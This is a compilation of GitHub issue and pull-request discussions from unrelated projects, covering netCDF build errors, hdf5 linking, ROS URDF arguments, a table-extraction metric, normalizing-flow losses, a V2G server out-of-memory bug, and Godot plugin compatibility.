Unit Tests:        OFF
Compiler:
Build Type:           DEBUG
CMAKE_C_COMPILER:     C:/Program Files (x86)/Microsoft Visual Studio/2017/Professional/VC/Tools/MSVC/14.16.27023/bin/Hostx86/x64/cl.exe
CMAKE_C_FLAGS:        /DWIN32 /D_WINDOWS /W3
CMAKE_C_FLAGS_DEBUG:  /MDd /Zi /Ob0 /Od /RTC1
Linking against:      hdf5::hdf5-shared;hdf5::hdf5_hl-shared;C:/wrf_hydro/bin/Debug/libsz_D.lib
NetCDF C Configuration Summary
==============================
General

NetCDF Version:		4.8.1
Dispatch Version:       3
Configured On:
Host System:		--
Build Directory: 	C:/wrf_hydro/netcdf/netcdf-c-4.8.1/build
Install Prefix:         C:/Program Files/netCDF
Compiling Options

C Compiler:		C:/Program Files (x86)/Microsoft Visual Studio/2017/Professional/VC/Tools/MSVC/14.16.27023/bin/Hostx86/x64/cl.exe
CFLAGS:			/DWIN32 /D_WINDOWS /W3 /MDd /Zi /Ob0 /Od /RTC1
CPPFLAGS:
LDFLAGS:		/machine:x64 /LARGEADDRESSAWARE /STACK:40000000 /debug /INCREMENTAL
AM_CFLAGS:
AM_CPPFLAGS:
AM_LDFLAGS:
Shared Library:		yes
Static Library:		no
Extra libraries:	-lhdf5 -lhdf5_hl -lsz_D
Features

NetCDF-2 API:		yes
HDF4 Support:		no
HDF5 Support:		yes
NetCDF-4 API:		yes
NC-4 Parallel Support:	no
PnetCDF Support:	no
DAP2 Support:		no
DAP4 Support:		no
Byte-Range Support:	no
Diskless Support:	yes
MMap Support:		no
JNA Support:		no
CDF5 Support:		yes
ERANGE Fill Support:	yes
Relaxed Boundary Check:	yes
SZIP Support:           yes
SZIP Write Support:     yes
Parallel Filters:       yes
NCZarr Support:		no
Multi-Filter Support:	no
CMake Error at CMakeLists.txt:2257 (add_subdirectory):
add_subdirectory given source "fuzz" which is not an existing directory.
Configuring incomplete, errors occurred!
See also "C:/wrf_hydro/netcdf/netcdf-c-4.8.1/build/CMakeFiles/CMakeOutput.log".
See also "C:/wrf_hydro/netcdf/netcdf-c-4.8.1/build/CMakeFiles/CMakeError.log".
thanks
jac

This was added in PR https://github.com/Unidata/netcdf-c/pull/1972
I do not understand how the fuzz directory got removed; it exists in the github master
and the netcdf-c 4.8.1 release file.
In any case, you have two solutions:

remove the line "add_subdirectory(fuzz)" from CMakeLists.txt
or recopy the fuzz directory from the github master or the netcdf 4.8.1 release.

thanks
jac

@DennisHeimbigner The source release tarball here https://downloads.unidata.ucar.edu/netcdf-c/4.8.1/src/netcdf-c-4.8.1.tar.gz does not contain any file or directory named fuzz. The tarball on the github.com release page https://github.com/Unidata/netcdf-c/archive/refs/tags/v4.8.1.tar.gz does though. I guess the unidata site version is broken?

The github tarball is generated automatically.  @DennisHeimbigner the tarballs we create manually are generated by 'make dist'; I don't see any autotools-based infrastructure for including the fuzz directory in the tarball.  I'll add that.

authors: DennisHeimbigner WardF gsjaardema jbensabat johnomotani


text:
Can't find or link to the hdf5 library

I am trying to install netcdf-c-4.9.0
I installed the prerequisites hdf5 and zlib but when I try to install netcdf it throws error
checking for library containing H5Fflush... no
I am using the below command to install
CPPFLAGS='-I${hdf5dir}/include -I${zdir}/include ' LDFLAGS='-L${hdf5dir}/lib -L${zdir}/lib ' ./configure --prefix=/home/muzafar/Downloads/installs/netcdf
and hdf5dir,zdir, are rest to respective installation directories.
Also I have set the LD_LIBRARY_PATH to /home/muzafar/Downloads/installs/hdf5/lib:
I am attaching a confg.log
can you please let me know what is the issue with my installation.
config.log

What version of hdf5 are you using? Can you provide the libhdf5.settings file from your installation?

libhdf5_settings.txt
I am using hdf5 version 1.12.2

Thank you.  From the config.log file you provided, we can see that the environmental variables you're setting aren't being properly picked up:
AM_CFLAGS=''
AM_CPPFLAGS=''
AM_DEFAULT_V='$(AM_DEFAULT_VERBOSITY)'
AM_DEFAULT_VERBOSITY='1'
AM_DISTCHECK_CONFIGURE_FLAGS += --disable-valgrind
AM_DISTCHECK_CONFIGURE_FLAGS ?=
AM_LDFLAGS=''
AM_V='$(V)'

This is puzzling.  I also notice now that you're using single quotes, ', instead of double quotes ", when defining CPPFLAGS, etc.  Single quotes will prevent the expansion of environmental variables (like ${hdf5dir}).  Try replacing the single quotes with double quotes, and let us know what happens.

To illustrate the point above, consider the following example of single quotes vs. double quotes:
wfisher@shetland:~/Desktop/gitprojects/netcdf-c$ A=B echo '$A'
$A
wfisher@shetland:~/Desktop/gitprojects/netcdf-c$ A=B echo "$A"
B
wfisher@shetland:~/Desktop/gitprojects/netcdf-c$

@WardF Thank you it worked

Glad to hear it!

authors: MuzafarWani WardF


text:
Unable to open candidate profile after moving candidate cards

Also, moving seems to be failed.

请问首页版本号是多少？
还有，就不要一次性开那么多issue了。

@winderica 1.2.8
那我一天提一个? issue不就是这么用的么, 方便你们track(

您好，由于后端近日的改动，组别等信息已经无法再自己设置了，而是在注册时就已经分配好。这是导致issue #5 #6 #8的原因。
至于issue #7，聊天室组件之后会改成另一种样式，现在只是暂时的解决方案。

查数据库显示，您从注册以来，根本没有选择自己的组别，也就意味着您在招新过程中完全没有使用过dashboard，那是否能做出您完全没有关注过招新的判断呢？
另一方面，关于issue的问题，我的意思是让您先整理一下，并不是不让您一次性提那么多个。同时，tracking我们是在 #1 中做的，您如果认为您的issue有tracking的价值，不妨参考一下它的格式。

@winderica 实际上我从招新开始从头到尾都在尝试更改但是都是失败的, 我在熬测之前也给sjm演示过.
如果你怀疑我完全没关注过招新, 我自认为在各个选手下方的评论还是挺多的, 包括对luojia的评论和各oi选手的noi系列赛报分, 您对此毫无了解我是否能做出您完全没有关注过招新的判断呢?
在一个issue里面做tracking的问题在于对github搜索的支持会差一些.

既然一直都更改失败，那为什么不早说呢
如果您对“关注”的定义是发表评论的话，那我确实没有怎么“关注”过招新
参见 projects，请。

不再回复。

@winderica

这个问题早就有人提过了, 你们当时给的解决方案是"所有地方都得是dirty". 你们又没有issue作记录, 我也没发现你们在群里有说明, 所以我默认你们知道这个bug并且没修.
抱歉不是, 关注招新包括了关注评论, 但是不包括关注dashboard的开发.
不知道您想表达什么.

支持继续回复.

authors: DragoonKiller winderica

repo: UniqueStudio/UniqueRecruitmentDashboard


text:
feat: compile PositionManager without IR

Related Issue
Which issue does this pull request resolve?
Description of changes

Update the PositionManager to avoid stack-too-deep issues

The changes to the number of optimizer runs is necessary to keep the PositionManager below the contract size limit.

replaced by #421

authors: abdulla-cb saucepoint


text:
Frontend/add service

Steps to test:

Log in as an admin (ex: unity_admin@example.com)
Using the Menu Drawer, navigate to the Service Definition Editor (do not use the url directly)
Click any Group from the list
Click the "+ Add Service" Icon at the top right
Enter in any information you wish, but you must make sure the "Definition" is a valid Service Definition JSON.  I will paste an example below for you to use

Valid Defintion JSON:
{
    "service_code": "202",
    "attributes": [
        {
            "variable": true,
            "code": "BUS_STOP",
            "datatype": "multivaluelist",
            "required": true,
            "datatype_description": "Please select one or more items.",
            "order": 1,
            "description": "Please select one or more items that best describe the issue. If Other, please elaborate in the Description field below.",
            "values": [
                {
                    "key": "UNSAFE",
                    "name": "Unsafe location"
                },
                {
                    "key": "NO_SDWLK",
                    "name": "No sidewalk"
                },
                {
                    "key": "MISSING_SIGN",
                    "name": "Sign missing"
                },
                {
                    "key": "NO_SHELTER",
                    "name": "No Shelter"
                },
                {
                    "key": "OTHER",
                    "name": "Other"
                }
            ]
        }
    ]
}

I think the group id shouldn't be something that the user enters. I think when they select a service, it will be within a group so we will no the group in that moment.

So we really "have" to get the groups before we do the services -_-

I think the group id shouldn't be something that the user enters. I think when they select a service, it will be within a group so we will no the group in that moment.

So we really "have" to get the groups before we do the services -_-

Yeah I suppose so, fortunately the endpoint to load groups exists on the backend so we just need to create the Libre311 interface method to load it.

authors: HootDunk JackDiSalvatore


text:
Duplicated xarco "name" argument in the URDFs

Hello,
In both of the provided URDF files (urdf/ur.urdf.xacro & urdf/ur_mocked.urdf.xacro) there is a requirement for xarco launch argument name. However, in the next line this argument is defined by xacro:arg marker:
<robot xmlns:xacro="http://wiki.ros.org/xacro" name="$(arg name)">
  <!-- robot name parameter -->
  <xacro:arg name="name" default="ur"/>

As far as I understand the authors' intentions, these URDFs should define and contain all parameters to call the xacro:ur_robot macro, without need to pass more information.  Even with provided default value with xacro:arg I couldn't parse the file with xacro (on ROS 2 Humble) - the launch argument name:= is required.
I would like to ask to clarify this ambiguity.

Sorry for the late answer...
That intention is not entirely the case, let me explain:

The name argument is kind of a hack. Since we use one common xacro for all models and we wanted to achieve having the robot name match the model, we need to set the name field of the robot tag dynamically. It works reading this from a xacro argument, however the default value (when the argument is not provided) is not evaluated at the time when the robot tag is parsed.
The name argument is not the only required argument, the ur_type argument is also required in a sense that it is used for defining the default values for the model specification. It is set to a default value, however, because it can be omitted if all four robot parametrizations are given.

I hope that explanation helps reasoning the structure as it is. Feel free to comment if you have a suggestion how to handle this differently.

authors: fmauch macmacal


text:
Added service to control force mode from ROS2

Added service to set force mode
Needs https://github.com/ros-industrial/ur_msgs/pull/21 and https://github.com/UniversalRobots/Universal_Robots_ROS2_Description/pull/75
ToDo list

[x] Make force_mode work
[x] Implement an own controller for force_mode
[ ] Document force_mode_controller
[ ] Make controller thread_safe using realtime_buffer
[ ] Test and probably improve force_mode_controller in conjunction with moving the robot
[ ] Add test(s) for force_mode_controller

Since I did some amount of work on this, I think this should be reviewed by @RobertWilbrandt.
In a nutshell I think it is very discussable whether we add this functionality to the IO controller or whether we should shift it to another controller. As we put a lot of stuff into the IO controller, I don't see why this should not go into this, as well, but I definitively don;t like getting this thing bigger and bigger.
Also, tests would be good, but that would also go for the other components inside that controller.

Thinking about this: I really think, this should go into its own controller. Then activating / deactivating the controller would be activating / deactivating force_mode providing a service for parametrizing the force_mode.
Also, setting force_mode's damping and gain should be handled from this.

Closing this in favor of #1049

authors: fmauch urmarp


text:
Finish tokeniser and add tests.

[x] Figure out which package this should live in
[x] Any more tests?  Maybe one or two to see what it does to non-UTF8 and UTF8 strings
[x] Possibly figure out how to make a constructor method to make a new, blank Tokeniser
[x] Should this throw an error if given non-UTF8, or just carry on with bad codepoints substituted?  I think the latter is what Go will do here, but we need a test
[ ] Maybe backport new test cases to playd/listd

With apologies to @wlcx, here is a pull request that finishes his work implementing the tokeniser, and backs it up with a few test cases.  To run the test cases, go into the rapid directory and type go test.
The rapid directory is there because of an attempt to fix the weird package issues that were being had, but, in actuality, it might be possible to merge it back into this directory as long as we change the package name.  I'm not sure :grinning:
I've tweaked the tokeniser so:

It uses a bytes.Buffer to store the current word, as this is easier to append to and read a string from than a []byte;
It accepts any ASCII whitespace as ending a word/being ignored in multiple runs (in line with previous tokeniser implementations, and it also allows tab-delimited words and easy ignoring of \r in \r\n);
It doesn't have a push method, because it's easy enough to sling a byte into the buffer directly;
Only the Parse method is exported (go exports InitiallyCapitalised words and hides initiallyLowercase ones, don't ask me why)

I'm also ignoring swap files.  Sod off, Vim.
r? @wlcx, @LordAro

authors: CaptainHayashi LordAro

repo: UniversityRadioYork/ury-rapid-go


text:
feat: add evaluation metric for table extraction

Summary
This PR resolves CORE-1930. It adds helpers to compute token ratios between two tables' (actual vs. prediction). This score goes from 0 (no match at all) to 100 (fully matched).
metric sketch

represent tables as rows and columns data, with cells spanning multiple columns or rows occupying the left upper most position while leaving the rest of the positions empty
join the table together as a long string of text by tab_token (often \t ) in a row then row_break_token (often \n) between rows
compare the string representations’ rapidfuzz.fuzz.partial_token_ratio with tokenizer that tokenizes words and each number is its own token
do 2-3 again but this time join text along the columns instead of rows (in practice just take the transpose of both pred and actual tables)

e.g.,
This table:

Would be represented as table

Disability Category  Participants  Ballots Completed  Ballots Incomplete/Terminated                 Results                           None
               None          None               None                           None                Accuracy               Time to complete
              Blind             5                  1                              4              34.5%, n=1                  1199 sec, n=1
         Low Vision             5                  2                              3  98.3% n=2 (97.7%, n=3)  1716 sec, n=3 (1934 sec, n=2)
          Dexterity             5                  4                              1              98.3%, n=4                1672.1 sec, n=4
           Mobility             3                  3                              0              95.4%, n=3                  1416 sec, n=3

then as string by row
('Disability Category\tParticipants\tBallots Completed\tBallots '
 'Incomplete/Terminated\tResults\t\n'
 '\t\t\t\tAccuracy\tTime to complete\n'
 'Blind\t5\t1\t4\t34.5%, n=1\t1199 sec, n=1\n'
 'Low Vision\t5\t2\t3\t98.3% n=2 (97.7%, n=3)\t1716 sec, n=3 (1934 sec, n=2)\n'
 'Dexterity\t5\t4\t1\t98.3%, n=4\t1672.1 sec, n=4\n'
 'Mobility\t3\t3\t0\t95.4%, n=3\t1416 sec, n=3')

string by column
('Disability Category\t\tBlind\tLow Vision\tDexterity\tMobility\n'
 'Participants\t\t5\t5\t5\t3\n'
 'Ballots Completed\t\t1\t2\t4\t3\n'
 'Ballots Incomplete/Terminated\t\t4\t3\t1\t0\n'
 'Results\tAccuracy\t34.5%, n=1\t98.3% n=2 (97.7%, n=3)\t98.3%, n=4\t95.4%, '
 'n=3\n'
 '\tTime to complete\t1199 sec, n=1\t1716 sec, n=3 (1934 sec, n=2)\t1672.1 '
 'sec, n=4\t1416 sec, n=3')

rational

This metric choose to represent tables as long strings. This is intentional because we intent to run follow up tasks that treats tables as text (RAG with LLM)
we use token ration instead of ratio so that numbers are compared as a whole instead of comparing digits. This also ensures that if a word is split by either OCR or table structure detection it is considered in the metric as negative

Use the example above, we examine a few predictions and their scores

predict 1 [pre surge]: lots of structural errors and mistakes in OCR: row: 58, column: 61

predict 2 [post surge]: perfect structural extraction but mistakes in OCR: row: 92, column: 85

predict 3 [chipper]: incorrect structure on multi-row cells and multi-line cells, but perfect OCR: row: 84, column: 86

LGTM But, just a question: is possible to get the same "content" of the table but in distinct orders? 🤔 That could give distinct scores on tables that contains the same text

yes, the proposed metrics cares about the order of the content. The metrics chosen (token ratio, ratio, partial version of them) are all ordered. rapidfuzz do provide sorted scores where the tokens are sorted before scoring so those functions would not care if the content are not in the same order.

repo: Unstructured-IO/unstructured-inference


text:
fix: enable partition_html to grab content outside of <article> tags

Summary
Closes #770. Adds a html_assemble_articles flag to partition_html that allows partition_html to grab content from outside of <article> tags when <article> tags are present. By default, if <article> tags are present, partition_html only grabs content from with the <article> tags to avoid processing things like advertisements on news webpages.
Testing
Using the html from this page, the following code should return several elements matching a name that was previously missing in the output.
from unstructured.partition.html import partition_html

filename = "abbvie.html"
elements = partition_html(filename=filename, html_assemble_articles=False)
[x for x in elements if "Gonzalez" in x.text]

Would like to add +1 to this. Thanks for working on this. Seems the broad majority of websites of interest for us don't follow the  convention so this will be a great improvement. I'm not sure how your CI works but any estimate on when this will be deployed to the python package? I'm using the Unstructured-API package.

@theZaX - Updated the default to html_assemble_article=False since, as you point out, the majority of websites don't use the <article> contention. We'll likely get this released in the unstructured package later today.
@cragwolfe - Do you know how long this will take to make it into the API?

@cragwolfe - Do you know how long this will take to make it into the API?

It generally takes 1-3 business days. We can prioritize the next release bump, CC @yuming-long , @awalker4

For reference - this is making it out to unstructured-api via this pr.

authors: MthwRobinson awalker4 cragwolfe theZaX

repo: Unstructured-IO/unstructured


text:
Collection empty when changing route

I am following the angular 1 tutorial with meteor-angular 1.3.1. In Step 9 when I change the route from parties list to party detail Parties collection (i mean client side) is empty if I not subscribe again in the party details controller. I think this should not the normal behaivour. Am I doing some thing wrong or is this a bug ?
Edit: I also downloaded your step 10 zip file and commented out "this.subscribe('parties');" line in the party details controller same thing happened.

Hi @blntylmn,
I absolutely think you should control if subscription stops or no (when changing routes). This doesn't seem so in the new api.
In the previous angular-meteor api:

$meteor.subscribe: won't stop the subscription if you change routes
$scope.$meteorSubscribe: will stop the subscription always, when $scope is destroyed

I've not used the new api yet, but according to what I've read, the subscription is stopped always, when $scope is destroyed. As per (new api) documentation:
this.subscribe(...)

The subscription will stop automatically when it's context ($scope) is destroyed.

I think you should have control as when to stop or leave the collections alive (in client) when changing routes.
Am I wrong in the previous reasoning? Thanks and bye ...

Maybe for a client collection to persist when changing routes, we should just use meteor subscription:
Meteor.subscribe(...)
Any thoughts? Thanks and bye ...

you can do the subscription in an abstract route, then your two routes are sub route to the abstract one in this case the subscription will persist.

question - closing

authors: ThomsC Urigo blntylmn mgrivera

repo: Urigo/angular-meteor


text:
Add health check to mesh

Currently, when the Mesh is running as Gateway, the only way to run a health check is to try and access GET /graphql but after talking with @dotansimha , it will be good to improve that and allow more flexible API .

I had in mind:

GET /healthcheck - status 200 for valid. status 500 for error. (also with a payload with status of the mesh handlers as JSON response).
GET /readiness - status 200 for ready. status 500 for non-ready mesh.

^ The above should be compatible with K8s deployments as well.

Available in @graphql-mesh/cli@0.21.0 !

You guys rock!

authors: ardatan chompy18 dotansimha jsBlackBelt

repo: Urigo/graphql-mesh


text:
Added Toggle  Button

added this functionalies in your project

plz revivew it

I was just trying to teach my friend "Sardar Idrees" about Open Source here at KPITB. I think he knows you.
Sorry for interruption.

Oh no worries, let me merge your contribution and say Salam to him from my side

authors: AbdulRehmanGHub UzairZQ


text:
Isolationlevel should not be set by the session

Hello,
At WaitForCableCheckReq:68  (see: https://github.com/V2GClarity/RISE-V2G/blob/master/RISE-V2G-SECC/src/main/java/com/v2gclarity/risev2g/secc/states/WaitForCableCheckReq.java#L64 ) I believe calling the setIsolationlevel is not correct.
As far as I understand isolation checking should be a subsystem that continuously monitors the isolation state from the CableCheck until the end of the charge process.
I believe calling something like activateIsolationMonitoring() / deactivateIsolationMonitoring() would be more correct. Using this the DummyDCEVSEController count change the isolation level to whatever suits most the simulation.
This would also solve the TODO there: the session should read the current isolation level, and reply a EVSEProcessing = ONGOING as long as it is not VALID.
Also this issie could be solved by notifying the controller about state changes like I proposed in issue #31

It would be helpful if you could provide a code fragment which we can discuss.

Closed due to inactivity.

authors: MarcMueltin mrbig


text:
Out of memory exception

Hi, I am a first time user of this project and new to V2G.  Thanks for giving access to such a useful project.  I was having a play with the SECC server application and discovered a situation where memory allocation fails.
Line 125 of ConnectionHandler.java can try allocate a large memory block if the payload length is incorrect.  You can simulate this by opening a raw TCP connection (eg netcat) to the server and send some random characters.  I know this is not intended use but a possible scenario should the connection get out of sync or during development...
I have not looked at the protocol in detail yet to know if there are limitations on the length of a payload that could be checked earlier? [Edit] Table 9 of ISO15118-2 says payload length can be 0...4294967295.
The offending line:
getLogger().debug("Length of V2GTP payload in bytes according to V2GTP header: " + getPayloadLength());
setV2gTPPayload(new byte[getPayloadLength()]);

Example debug output:
2019-09-12T11:49:06,995 DEBUG [ConnectionThread fe80:0:0:0:e2d5:5eff:fe68:7a77%2] ConnectionHandler: Length of V2GTP payload in bytes according to V2GTP header: 1935959667
Exception in thread "ConnectionThread fe80:0:0:0:e2d5:5eff:fe68:7a77%2" java.lang.OutOfMemoryError: Java heap space

Regards
Ashley

Hi @ashesman,
Thanks for the hint, that's a good catch. The standard itself says that the payload shall not be bigger than 4 GB (as that is what you can encode in 4 bytes of the "payload length" fields of the header). Why it was decided to use 4 bytes for this ... I don't know.
However, an EXI-encoded ISO 15118 message is rarely bigger than a few dozen bytes, for sure less than 1 KB. So it is a good idea to check that header length first before trying to create a byte array of that size. So I'll address this in my next update and let you know once it is done.
Best,
Marc

Hello,
In my own implementation I have a check in the header processing part that close immediately the connection if it is above a limit I defined much much lower than the 4 GB non-sense.
The standard would be better off requiring implementations to support a minimum size (or, at worst, several minimum sizes depending on the supported functionalities). I am sure none of the implementations running on much smaller targets can handle 4GB messages...
It hasn't become an issue in the field though (ie. never came to face a peer that cannot process large messages). For all the troubles in EXI coding, at least it compresses well :D.
Cheers,
Axel

Fixed with commit 4546e0e22921bf06bda49a0fc374cb6d556d1bf8

authors: AxelVoitier MarcMueltin ashesman


text:
What is the requirement?

Dear authors:
Can you public the requirement of your environment? Thanks

Of course! The requirements.txt is uploaded!
Have fun with the TGTSF!

repo: VEWOXIC/TGTSF


text:
Subsetting: multifilter chip mouseover legibility improvements

As discussed in 8/30/21 EDA WG:
Mouseover for multifilter chip: only one filter (variable) per line for legibility improvement. If multiple values for a filter are selected, these can all be on a single line separated by a comma

@danicahelb @SheenaTomko mind if I close this issue?

looks good, closing this ticket.

authors: asizemore danicahelb

repo: VEuPathDB/web-eda


text:
Not removing all the files

I have more no of duplicate files but it removes only one .. have a look at your map addition

fixed check it!


text:
quadratic images

does nerf synthetic (own synthetic data) has to be quadratic? is there a specific reason for that check in the code?

and another question about the synthetic dataset:
self.ref_depth = np.load(os.path.join(self.root_dir, 'depth_nerf', os.path.basename(self.image_paths[self.ref_idx])).replace('.JPG', '.npy').replace('.png', '.npy'))
why is only that one depth image loaded e.g. for lego the one ending with 20?
if 'lego' in self.root_dir:
      self.ref_idx = 20

does nerf synthetic (own synthetic data) has to be quadratic? is there a specific reason for that check in the code?

This is not required afaik. I think it's some legacy code from nerf_pl

why is only that one depth image loaded e.g. for lego the one ending with 20?

Our setting only involves one depth. for lego it's 20 because it covers the major regions of the scene

so this depth is used as the image 20 covers "the most" regions for the lego part

Yes

even though the angle varies in other images?

I don't really understand this question.

repo: VITA-Group/SinNeRF


text:
Implement better boundingVolume geometry

Currently the boundingVolume is a sphere, which is rather inefficient.

Need to implement convex hull geometry. (QuickHull?)

This is no longer needed after k-d tree implementation

repo: VKoskiv/c-ray


text:
How to calculate loss for multiple outputs?

It is not clear to me, how to calculate the loss when I have a Invertible Graph with multiple output nodes.
For example, I implemented Glow with a multi-scale architecture where each z_i is a separate output node.
Based on the examples, I only see how to calculate the loss for a single output node.
Thank you very much in advance!

Thanks for your question. Let's assume your output is as follows:
(a, b), jac = inn(x)

Then, you can compute the standard maximum likelihood loss as:
loss = (a ** 2).sum(-1) + (b ** 2).sum(-1) - jac

Does this answer your question?

Dear @fdraxler ,
thank you for the quick answer. I think I did not express myself precisely enough so I try it with an example. In the multi-scale architecture as for example used in glow, I have several Zs. Given  3-channel images with a resolution of 128x128 as inputs this results in the following tensor shapes considering the Squeeze and Split operations:
X.shape = (B, 3, 128, 128)
Z1.shape = (B, 6, 64, 64)
Z2.shape = (B, 12, 32, 32)
Z3.shape = (B, 24, 16, 16)
Z4.shape = (B, 48, 8, 8)
Z5.shape = (B, 192, 4, 4)
The example formula you gave me does not apply to that without prior reshaping.
I saw other implementations a) evaluating each Z against the prior individually and passing the resulting log_det_jac until the last output; or b) Reshape and concatenate all Z's in the end and calculate the loss from there.
It is unclear to me what's the most efficient way to calculate the loss and if the split block should forward any logdet in the latter case. I apologize if this is more of a general conceptual question rather than specific to your framework. However, a small example of what's the best/recommended way to implement a multiscale approach in FrEIA would help a lot.
Thank you very much for your help.

I think the two variants a and b are equivalent mathematically as long as you add up all the losses. Reshaping and concatenating is probably the easiest choice:
stacked = torch.cat([Z.reshape(B, -1) for Z in [Z1, Z2, Z3, Z4, Z5]], 1) # B x 3*128*128
loss_per_item = (stacked ** 2).sum(1) / 2 - jac
loss_per_batch = loss_per_item.mean(0)

And some people divide the loss by the number of dimensions, so you get mean in the second line.

Alright got it. Thank you very much for the explanation.

authors: fdraxler manuelknott

repo: VLL-HD/FrEIA


text:
WIP: Preallocated objects

PLEASE DON'T MERGE THIS PR. THIS IS FOR THE DISCUSSION
Please consider LoanExamTests/UnitTest1.cs Test1
        var map = new Dictionary<Type, object>()
        {
            { typeof(ILogger), new Logger("AAA") }
        };

        TestGenerator.CoverAndRun<EmploymentHandler>(map);

Automatic dependency creation was insufficient because in my case it's quite common that classes and their dependencies are located in different assemblies. This scenario is not supported in the "constructors" branch. Also, I believe that Mocks are required very often, so there should be a way to define mocks for the tests.
testInfo/memoryRepr/typeRepr types
I update testInfo.memory.types before serializing test information to files.
While strings are OK-ish in terms of the ability to obtain type information, it still concerns me that
Type -> String, String -> Type have to happen twice.
Any objections against changing the structure of the source code in a way that strings appear only on app boundaries:
just before and right after serialization/deserialization or against the proposed public API?

Stable code generation with mocking is implemented in https://github.com/VSharp-team/VSharp/pull/173, we'll stick to it for now. This proposal was taken into account there, so I'm closing this PR

authors: dvvrd max-arshinov

repo: VSharp-team/VSharp


text:
This asset is gona get updated for the godot version 4.2?

Description
I tried to import this asset in the new version of Godot 4.2 but it has many errors. Is there a way to fix them? Will they release a patched version for Godot 4.2?
Line code errors:
res://addons/orchestrator/components/editor/orchestration_graph_node.gd:15 - Parse Error: Identifier "show_close" not declared in the current scope.
res://addons/orchestrator/components/editor/orchestration_graph_node.gd:20 - Parse Error: Identifier "close_request" not declared in the current scope.
res://addons/orchestrator/core/orchestration_node.gd:-1 - Compile Error:
res://addons/orchestrator/components/editor/orchestration_graph_node.gd:15 - Parse Error: Identifier "show_close" not declared in the current scope.
res://addons/orchestrator/components/editor/orchestration_graph_node.gd:20 - Parse Error: Identifier "close_request" not declared in the current scope.
res://addons/orchestrator/components/editor/orchestration_graph.gd:-1 - Compile Error:
modules/gdscript/gdscript.cpp:2775 - Failed to load script "res://addons/orchestrator/components/editor/orchestration_graph.gd" with error "Compilation failed". (User)
Implementation ideas
No response

Hi @KickCreator if you restart Godot 4.2 after installing the plugin and enabling, do you still get these errors?

Ok I tried that and it seems that it fixes most of the initial problems but
some of them keep appearing
[image: Captura.JPG]
El sáb, 2 dic 2023 a las 20:47, Chris Cranford @.***>)
escribió:

Hi @KickCreator https://github.com/KickCreator if you restart Godot 4.2
after installing the plugin and enabling, do you still get these errors?
—
Reply to this email directly, view it on GitHub
https://github.com/Vahera/godot-orchestrator/issues/42#issuecomment-1837238565,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ASHUPNMKF2EKSDS5CIV2V7TYHOAWVAVCNFSM6AAAAABAEGO3T2VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQMZXGIZTQNJWGU
.
You are receiving this because you were mentioned.Message ID:
@.***>

Hi @KickCreator the image wasn't sent via email, can you attach the image here so we can see what is the problem?

Sure, here it is.
Also, I will writhe the line errors here (in case that the image doesn't
work)
res://addons/orchestrator/components/editor/orchestration_graph_node.gd:15

Parse Error: Identifier "show_close" not declared in the current scope.

res://addons/orchestrator/components/editor/orchestration_graph_node.gd:20

Parse Error: Identifier "close_request" not declared in the current scope.

res://addons/orchestrator/components/editor/orchestration_graph.gd:-1 -
Compile Error:
modules/gdscript/gdscript.cpp:2775 - Failed to load script
"res://addons/orchestrator/components/editor/orchestration_graph.gd" with
error "Compilation failed". (User)
El jue, 7 dic 2023 a las 6:51, Chris Cranford @.***>)
escribió:

Hi @KickCreator https://github.com/KickCreator the image wasn't sent
via email, can you attach the image here so we can see what is the problem?
—
Reply to this email directly, view it on GitHub
https://github.com/Vahera/godot-orchestrator/issues/42#issuecomment-1844593625,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ASHUPNIHJ7XFY5CXEG2PJODYIFKNPAVCNFSM6AAAAABAEGO3T2VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNBUGU4TGNRSGU
.
You are receiving this because you were mentioned.Message ID:
@.***>

Just merged GH-22 to address the 4.2 compatibility @KickCreator, we'll be cutting a release shortly.

Thanks, I'll check it out!
El sáb, 9 dic 2023 a las 0:01, Chris Cranford @.***>)
escribió:

Release is now available here
https://github.com/Vahera/godot-orchestrator/releases/tag/v1.1.0 for
v1.1.0.
—
Reply to this email directly, view it on GitHub
https://github.com/Vahera/godot-orchestrator/issues/42#issuecomment-1847950656,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ASHUPNMGSTYCSVQXPIOIAITYIOL4PAVCNFSM6AAAAABAEGO3T2VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNBXHE2TANRVGY
.
You are receiving this because you were mentioned.Message ID:
@.***>

authors: KickCreator Naros

repo: Vahera/godot-orchestrator


text:
System.InvalidOperationException: Collection was modified; enumeration operation may not execute

Summary of the issue
Production exception log of System.InvalidOperationException: Collection was modified; enumeration operation may not execute.
Note: using EFSecondLevelCache.Core
Environment
The in-use version: netcore 2.1
Operating system: Windows
IDE: Visual Studio 2017

Example code/Steps to reproduce:
Originated from DbContext override of SaveChangesAsync which clears cache on update.
public override Task<int> SaveChangesAsync(CancellationToken cancellationToken = default(CancellationToken))
{
	ChangeTracker.DetectChanges();
	var changedEntityNames = this.GetChangedEntityNames();

	var result = base.SaveChangesAsync(cancellationToken);

	this.GetService<IEFCacheServiceProvider>().InvalidateCacheDependencies(changedEntityNames);

	return result;
}

Output:
Exception message: Collection was modified; enumeration operation may not execute.
Full Stack trace:
System.InvalidOperationException: Collection was modified; enumeration operation may not execute.
 at System.Collections.Generic.HashSet`1.Enumerator.MoveNext()
 at EFSecondLevelCache.Core.EFCacheServiceProvider.clearDependencyValues(String rootCacheKey)
 at EFSecondLevelCache.Core.EFCacheServiceProvider.InvalidateCacheDependencies(String[] rootCacheKeys)
 at [removed]DbContext.SaveChangesAsync(CancellationToken cancellationToken) in [removed]DbContext.cs:line 86
 at [removed]Controller.Post([removed] value) in [removed]Controller.cs:line 114
 at Microsoft.AspNetCore.Mvc.Internal.ActionMethodExecutor.TaskOfIActionResultExecutor.Execute(IActionResultTypeMapper mapper, ObjectMethodExecutor executor, Object controller, Object[] arguments)
 at Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker.InvokeActionMethodAsync()
 at Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker.InvokeNextActionFilterAsync()
 at Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker.Rethrow(ActionExecutedContext context)
 at Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker.Next(State& next, Scope& scope, Object& state, Boolean& isCompleted)
 at Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker.InvokeInnerFilterAsync()
 at Microsoft.AspNetCore.Mvc.Internal.ResourceInvoker.InvokeNextResourceFilter()
